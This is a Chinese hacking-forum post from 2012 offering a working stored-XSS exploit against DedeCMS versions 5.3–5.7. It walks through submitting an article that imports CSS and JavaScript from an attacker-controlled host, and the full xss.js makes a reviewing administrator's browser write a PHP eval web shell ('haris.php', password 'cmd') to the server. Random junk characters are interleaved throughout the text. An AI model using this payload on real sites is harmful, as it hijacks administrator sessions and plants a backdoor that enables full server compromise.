找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1729|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell% F; G& u0 ~% V9 h4 y7 ~
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
# `9 A9 p, Y1 c3 `& f& a目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
+ k" y9 d! n& P4 R  R" X) o下面说说利用方法。: b; n+ ~$ o* x
条件有2个:0 x0 P5 E, }2 F2 J6 b0 ~. o
1.开启注册1 c! R, C$ d/ F( x' K+ k7 {' u
2.开启投稿2 Z9 i* a( V- g! y! o7 u7 i
注册会员----发表文章+ o9 E, v2 K( i* q
内容填写:
  e) m0 o  _( `% V% ?9 `$ h( S; J复制代码
  |$ ~9 g6 R" X) }1 n4 _- ]<style>@im\port'\http://xxx.com/xss.css';</style>
- Y7 ]  X3 Q2 t$ D1 o新建XSS.Css
. s& T$ h* T" g8 v, i5 B复制代码2 }5 z6 `) n( g" p/ S2 z: O
.body{4 e$ a5 a& a& m- C
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }9 b+ \* K7 H8 F
新建xss.js 内容为
% _) E! b. \% U% g复制代码
* O2 q8 X, D& ~9 ^+ j% \1.var request = false;& j  u; O, Q4 {$ P
2.if(window.XMLHttpRequest) {
6 W9 w/ {& A, t3 {3.request = new XMLHttpRequest();
' P- u% k1 j2 G0 ^4.if(request.overrideMimeType) {& `# U9 E5 {$ F+ |
5.request.overrideMimeType('text/xml');( u" A& U+ m7 l$ v& Q
6.}
: u  @0 S4 \; \: }7 U5 x+ x5 B7.} else if(window.ActiveXObject) {
) r# ?9 w) O* k& U: p# V) x! v8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 Y$ c' z; ^7 G3 w; @9.for(var i=0; i<versions.length; i++) {2 r8 n) g7 v" f  _2 F: T8 c
10.try {# k' a; n$ b/ c7 b5 J2 ^; z
11.request = new ActiveXObject(versions);
0 D3 X) s/ \3 z" n" j" V8 y/ A12.} catch(e) {}
1 p+ X; M1 e9 \2 Y13.}
/ ]0 P1 V, c$ ?# o14.}
8 q2 ]* e* N+ ~2 ]1 {) v15.xmlhttp=request;0 T% _  Y1 C" |8 l. F0 T" t0 K2 `
16.function getFolder( url ){) s3 P1 Z; T2 o* A+ o
17. obj = url.split('/')
; H( x4 h/ j' ?2 F+ L18. return obj[obj.length-2]% l0 J& n+ E5 D4 a3 x9 T( J
19.}
7 Q2 h" N4 d$ E: O9 B6 U  E20.oUrl = top.location.href;
1 c8 s& o$ a- M/ N21.u = getFolder(oUrl);
: l  W) ~9 h6 U: K22.add_admin();
( d7 ^% f$ y( s/ V8 t! A23.function add_admin(){# }& u& A! `8 ?4 \( e( T) \
24.var url= "/"+u+"/sys_sql_query.php";
2 g# g7 R, q& w3 m) M25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";  @, u$ b7 n) }0 r5 u* b$ l
26.xmlhttp.open("POST", url, true);
9 ?: Y# x6 q3 ^5 Y4 @1 b27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");/ T5 Y. p+ a. c3 e. x5 L
28.xmlhttp.setRequestHeader("Content-length", params.length);
* d, q& w* F3 p# n$ j29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
% z4 ~! ]  v$ O' p. V) S30.xmlhttp.send(params);
" w; x( i) W) x31.}, f& y$ h& ?  J( k% Y  Y) n8 C
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表